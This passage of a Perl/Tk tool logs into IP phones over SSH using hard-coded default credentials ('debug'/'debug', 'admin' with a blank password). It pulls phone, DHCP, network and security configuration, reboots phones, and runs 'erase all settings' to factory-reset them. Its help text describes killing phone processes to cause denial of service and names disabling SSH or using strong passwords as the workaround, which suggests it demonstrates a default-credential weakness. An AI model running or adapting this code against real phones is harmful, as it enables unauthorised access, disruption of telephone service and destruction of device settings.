			$TextWidget_tab3  -> see ('end');
		
	    	$TextWidget_tab2 -> insert ("end","$line\n");
	    	$TextWidget_tab2  -> update ();	
			$TextWidget_tab2  -> see ('end');
		
			$Results = $Results."$line\n";	
	    }
	    $ssh->send("show phone_info");   # using send() instead of exec()
	    my $line;
	    # returns the next line, removing it from the input stream:
	    while ( defined ($line = $ssh->read_line()) ) 
	    {
	    	$TextWidget_tab3 -> insert ("end","$line\n");
	    	$TextWidget_tab3  -> update ();	
			$TextWidget_tab3  -> see ('end');
		
	    	$TextWidget_tab2 -> insert ("end","$line\n");
	    	$TextWidget_tab2  -> update ();	
			$TextWidget_tab2  -> see ('end');
		
			$Results = $Results."$line\n";	
	    }	    
	    $ssh->send("show version");   # using send() instead of exec()
	    my $line;
	    # returns the next line, removing it from the input stream:
	    while ( defined ($line = $ssh->read_line()) ) 
	    {
	    	$TextWidget_tab3 -> insert ("end","$line\n");
			$TextWidget_tab3  -> update ();	
			$TextWidget_tab3  -> see ('end');
		
	    	$TextWidget_tab2 -> insert ("end","$line\n");
	    	$TextWidget_tab2  -> update ();	
			$TextWidget_tab2  -> see ('end');
		
			$Results = $Results."$line\n";	
	    }		    
	    $ssh->send("vlan debug show");   # using send() instead of exec()
	    my $line;
	    # returns the next line, removing it from the input stream:
	    while ( defined ($line = $ssh->read_line()) ) 
	    {
	    	$TextWidget_tab3 -> insert ("end","$line\n");
			$TextWidget_tab3  -> update ();	
			$TextWidget_tab3  -> see ('end');
		
	    	$TextWidget_tab2 -> insert ("end","$line\n");
	    	$TextWidget_tab2  -> update ();	
			$TextWidget_tab2  -> see ('end');
		
			$Results = $Results."$line\n";	
	    }
	    	       
	    $ssh->close();
		$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");
		$TextWidget_tab3  -> update ();	
		$TextWidget_tab3  -> update ();	
		$TextWidget_tab3  -> see ('end');
		
		$TextWidget_tab2 -> insert ("end", "-------------------------------------------------------------------------------\n");
		$TextWidget_tab2  -> update ();	
		$TextWidget_tab3  -> update ();	
		$TextWidget_tab3  -> see ('end');
					    
		$Results = $Results."-------------------------------------------------------------------------------\n";				

	}
}


 sub REBOOT69
{
	my $ssh = Net::SSH::Expect->new (
								host => $IpAddress, 
								password=> $sshpassword, 
								user => $sshusername, 
					        	timeout => $timeoutvalue,
								raw_pty => 1,
								);

	$login_output = $ssh->login();

	if ($login_output !~ /login/)
	{
		$TextWidget_tab3 -> insert ("end","$IpAddress: Unable to connect to SSH server\n");
		$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");
		$Results = $Results."$IpAddress: Unable to connect to SSH server\n";
		$Results = $Results."-------------------------------------------------------------------------------\n";	
	}
	else
	{    		
		$ssh->send("admin");							
		$ssh->waitfor('Password:\s*');
		$ssh->send("");
				
		$TextWidget_tab3 -> insert ("end","$IpAddress: Rebooting IP Phone\n");
		$TextWidget_tab3  -> update ();	
		$TextWidget_tab3  -> see ('end');				    		
		
		$TextWidget_tab2 -> insert ("end","$IpAddress: Rebooting IP Phone\n");	
		$TextWidget_tab2  -> update ();	
		$TextWidget_tab2  -> see ('end');	

	    $Results = $Results."$IpAddress:  Rebooting IP Phone\n";
	    				
	    $ssh->exec("reboot");   	    	       
	    $ssh->close();
	    
	    $TextWidget_tab3 -> insert ("end","$IpAddress: Done\n");
		$TextWidget_tab3  -> update ();	
		$TextWidget_tab3  -> see ('end');				    		
		
		$TextWidget_tab2 -> insert ("end","$IpAddress: Done\n");	
		$TextWidget_tab2  -> update ();	
		$TextWidget_tab2  -> see ('end');	

	    $Results = $Results."$IpAddress:  Done\n";
	    
		$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");
		$TextWidget_tab3  -> update ();	
		$TextWidget_tab3  -> see ('end');				    
		$Results = $Results."-------------------------------------------------------------------------------\n";				
	}
}


#99XX debug/debug --------------------------------------------------------------------
# reset soft
#
# show phone information
# show dhcp
# show config network
# show config security
# show capabilities
#
# show call detail all
#
#  erase all settings - erase all settings on phone, same as factory reset 


sub REBOOT99
{
	my $ssh = Net::SSH::Expect->new (
								host => $IpAddress, 
								password=> $sshpassword, 
								user => $sshusername, 
					        	timeout => $timeoutvalue,
								raw_pty => 1,
								);

	$login_output = $ssh->login();

	if ($login_output !~ /login/)
	{
		$TextWidget_tab3 -> insert ("end","$IpAddress: Unable to connect to SSH server\n");
		$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");
		$Results = $Results."$IpAddress: Unable to connect to SSH server\n";
		$Results = $Results."-------------------------------------------------------------------------------\n";	
	}
	else
	{    		
		$ssh->send("debug");							
		$ssh->waitfor('Password:\s*');
		$ssh->send("debug");
				
		$TextWidget_tab3 -> insert ("end","$IpAddress: Rebooting IP Phone\n");	
		$TextWidget_tab3  -> update ();	
		$TextWidget_tab3  -> see ('end');				    		

		$TextWidget_tab2 -> insert ("end","$IpAddress: Rebooting IP Phone\n");	
		$TextWidget_tab2  -> update ();	
		$TextWidget_tab2  -> see ('end');				    		
		
	    $Results = $Results."$IpAddress:  Rebooting IP Phone\n";
		
	    $ssh->exec("reset soft");   	    	       
	    $ssh->close();

		$TextWidget_tab3 -> insert ("end","$IpAddress: Done\n");	
		$TextWidget_tab3  -> update ();	
		$TextWidget_tab3  -> see ('end');				    		

		$TextWidget_tab2 -> insert ("end","$IpAddress: Done\n");	
		$TextWidget_tab2  -> update ();	
		$TextWidget_tab2  -> see ('end');				    		
		
	    $Results = $Results."$IpAddress:  Done\n";
	    
		$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");
		$TextWidget_tab3  -> update ();	
		$TextWidget_tab3  -> see ('end');				    
		$Results = $Results."-------------------------------------------------------------------------------\n";				
	}
}

sub ERASE99
{
	my $ssh = Net::SSH::Expect->new (
								host => $IpAddress, 
								password=> $sshpassword, 
								user => $sshusername, 
					        	timeout => $timeoutvalue,
								raw_pty => 1,
								);

	$login_output = $ssh->login();

	if ($login_output !~ /login/)
	{
		$TextWidget_tab3 -> insert ("end","$IpAddress: Unable to connect to SSH server\n");
		$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");
		$Results = $Results."$IpAddress: Unable to connect to SSH server\n";
		$Results = $Results."-------------------------------------------------------------------------------\n";	
	}
	else
	{    		
		$ssh->send("debug");							
		$ssh->waitfor('Password:\s*');
		$ssh->send("debug");
				
		$TextWidget_tab3 -> insert ("end","$IpAddress: Trying to erase IP Phone configuration\n");	
		$TextWidget_tab3  -> update ();	
		$TextWidget_tab3  -> see ('end');				    		

		$TextWidget_tab2 -> insert ("end","$IpAddress: Trying to erase IP Phone configuration\n");	
		$TextWidget_tab2  -> update ();	
		$TextWidget_tab2  -> see ('end');				    		
		
	    $Results = $Results."$IpAddress:  Trying to erase IP Phone configuration\n";
		
	    $ssh->exec("erase all settings");   	    	       
	    $ssh->close();

		$TextWidget_tab3 -> insert ("end","$IpAddress: Done\n");	
		$TextWidget_tab3  -> update ();	
		$TextWidget_tab3  -> see ('end');				    		

		$TextWidget_tab2 -> insert ("end","$IpAddress: Done\n");	
		$TextWidget_tab2  -> update ();	
		$TextWidget_tab2  -> see ('end');				    		
		
	    $Results = $Results."$IpAddress:  Done\n";
	    
		$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");
		$TextWidget_tab3  -> update ();	
		$TextWidget_tab3  -> see ('end');				    
		$Results = $Results."-------------------------------------------------------------------------------\n";				
	}
}

sub SHOWTECH99
{
	my $ssh = Net::SSH::Expect->new (
								host => $IpAddress, 
								password=> $sshpassword, 
								user => $sshusername, 
					        	timeout => $timeoutvalue,
								raw_pty => 1,
								);

	
	
	$login_output = $ssh->login();

	if ($login_output !~ /login/)
	{
		$TextWidget_tab3 -> insert ("end","$IpAddress: Unable to connect to SSH server\n");
		$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");
		$Results = $Results."$IpAddress: Unable to connect to SSH server\n";
		$Results = $Results."-------------------------------------------------------------------------------\n";	
	}
	else
	{
	    		
		$ssh->send("debug");							
		$ssh->waitfor('Password:\s*');
		$ssh->send("debug");
				
		$TextWidget_tab3 -> insert ("end","$IpAddress: Output result\n");
		$TextWidget_tab3  -> update ();	
		$TextWidget_tab3  -> see ('end');				    		

		$TextWidget_tab2 -> insert ("end","$IpAddress: Output result\n");
		$TextWidget_tab2  -> update ();	
		$TextWidget_tab2  -> see ('end');				    		
		
	    $Results = $Results."$IpAddress: Output result\n";	
		
		# When running a command that causes a huge output,
	    # lets get the output line by line:

	    $ssh->send("show phone information");   # using send() instead of exec()
		
	    my $line;
	    # returns the next line, removing it from the input stream:
	    while ( defined ($line = $ssh->read_line()) ) 
	    {
	    	$TextWidget_tab3 -> insert ("end","$line\n");
			$TextWidget_tab3  -> update ();	
			$TextWidget_tab3  -> see ('end');
			
	    	$TextWidget_tab2 -> insert ("end","$line\n");
			$TextWidget_tab2  -> update ();	
			$TextWidget_tab2  -> see ('end');
			
			$Results = $Results."$line\n";
	    }    
	    $ssh->send("show dhcp");   # using send() instead of exec()
	    my $line;
	    # returns the next line, removing it from the input stream:
	    while ( defined ($line = $ssh->read_line()) ) 
	    {
	    	$TextWidget_tab3 -> insert ("end","$line\n");
			$TextWidget_tab3  -> update ();	
			$TextWidget_tab3  -> see ('end');	    	

	    	$TextWidget_tab2 -> insert ("end","$line\n");
			$TextWidget_tab2  -> update ();	
			$TextWidget_tab2  -> see ('end');
	    	
			$Results = $Results."$line\n";		
	    }
	    $ssh->send("show config network");   # using send() instead of exec()
	    my $line;
	    # returns the next line, removing it from the input stream:
	    while ( defined ($line = $ssh->read_line()) ) 
	    {
	    	$TextWidget_tab3 -> insert ("end","$line\n");
	    	$TextWidget_tab3  -> update ();	
			$TextWidget_tab3  -> see ('end');
			
	    	$TextWidget_tab2 -> insert ("end","$line\n");
	    	$TextWidget_tab2  -> update ();	
			$TextWidget_tab2  -> see ('end');
			
			$Results = $Results."$line\n";		
	    }	    
	    $ssh->send("show config security");   # using send() instead of exec()
	    my $line;
	    # returns the next line, removing it from the input stream:
	    while ( defined ($line = $ssh->read_line()) ) 
	    {
	    	$TextWidget_tab3 -> insert ("end","$line\n");
	    	$TextWidget_tab3  -> update ();	
			$TextWidget_tab3  -> see ('end');
	    	
	    	$TextWidget_tab2 -> insert ("end","$line\n");
	    	$TextWidget_tab2  -> update ();	
			$TextWidget_tab2  -> see ('end');
	    		
			$Results = $Results."$line\n";	
	    }		    
	    $ssh->send("show config security");   # using send() instead of exec()
	    my $line;
	    # returns the next line, removing it from the input stream:
	    while ( defined ($line = $ssh->read_line()) ) 
	    {
	    	$TextWidget_tab3 -> insert ("end","$line\n");
	    	$TextWidget_tab3  -> update ();	
			$TextWidget_tab3  -> see ('end');
	    	
	    	$TextWidget_tab2 -> insert ("end","$line\n");
	    	$TextWidget_tab2  -> update ();	
			$TextWidget_tab2  -> see ('end');

			$Results = $Results."------------------------\n";	
			$Results = $Results."$line\n";	
	    }
	    $ssh->send("show capabilities");   # using send() instead of exec()
	    my $line;
	    # returns the next line, removing it from the input stream:
	    while ( defined ($line = $ssh->read_line()) ) 
	    {
	    	$TextWidget_tab3 -> insert ("end","$line\n");
	    	$TextWidget_tab3  -> update ();	
			$TextWidget_tab3  -> see ('end');
	    	
	    	$TextWidget_tab2 -> insert ("end","$line\n");
	    	$TextWidget_tab2  -> update ();	
			$TextWidget_tab2  -> see ('end');
	
			$Results = $Results."$line\n";	
	    }
	    
	        	       
	    $ssh->close();
		$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");
		$TextWidget_tab3  -> update ();	
		$TextWidget_tab3  -> see ('end');
		
		$TextWidget_tab2 -> insert ("end", "-------------------------------------------------------------------------------\n");
		$TextWidget_tab2  -> update ();	
		$TextWidget_tab2  -> see ('end');
								    
		$Results = $Results."-------------------------------------------------------------------------------\n";				

	}
}
  

sub EXPLANATION
{
	$TextWidget_tab1 -> delete('0.0', 'end');
	$TextWidget_tab1 -> insert ("end", "-------------------------------------------------------------------------------\n");
#	$TextWidget_tab1 -> insert ("end", "IP Phone type 69XX\n");
#	$TextWidget_tab1 -> insert ("end", "-> Show all IP Phone parameters - Use SSH connection to IP Phone to realize a show tech and provide the results in an automated mode.\n");	
#	$TextWidget_tab1 -> insert ("end", "-> Reboot IP Phone - do what it says.\n");
#	$TextWidget_tab1 -> insert ("end", "\n");
	$TextWidget_tab1 -> insert ("end", "IP Phone type 79XX\n");
	$TextWidget_tab1 -> insert ("end", "-> Show all IP Phone parameters - Use SSH connection to IP Phone to realize a show tech and provide the results in an automated mode.\n");	
	$TextWidget_tab1 -> insert ("end", "-> Freeze totally IP Phone - Create a DoS on the IP Phone by killing a specific process.\n");
	$TextWidget_tab1 -> insert ("end", "-> Block DSP - no audio functions - Kill the DSP process to create a DoS on the IP Phone. Once the DSP process has been killed, all audio functionnalities are unusable.\n");
	$TextWidget_tab1 -> insert ("end", "\n");
	$TextWidget_tab1 -> insert ("end", "IP Phone type 89XX & 99XX\n");
	$TextWidget_tab1 -> insert ("end", "-> Show all IP Phone parameters - Use SSH connection to IP Phone to realize a show tech and provide the results in an automated mode.\n");	
	$TextWidget_tab1 -> insert ("end", "-> Reboot IP Phone - do what it says.\n");
	$TextWidget_tab1 -> insert ("end", "-> Erase IP hone configuration & firmware - Same as factory reset.\n");
	$TextWidget_tab1 -> insert ("end", "\n");
	$TextWidget_tab1 -> insert ("end", "WORKAROUND\n");
	$TextWidget_tab1 -> insert ("end", "Disable SSH server or used strong password for authentication.\n");
	$TextWidget_tab1 -> insert ("end", "\n");
	$TextWidget_tab1 -> insert ("end", "Date: January 2013\n");
	$TextWidget_tab1 -> insert ("end", "-------------------------------------------------------------------------------\n");
	$TextWidget_tab1  -> update ();	
	$TextWidget_tab1  -> see ('end'); 
	
	$book->raise("Sheet 1");			
}
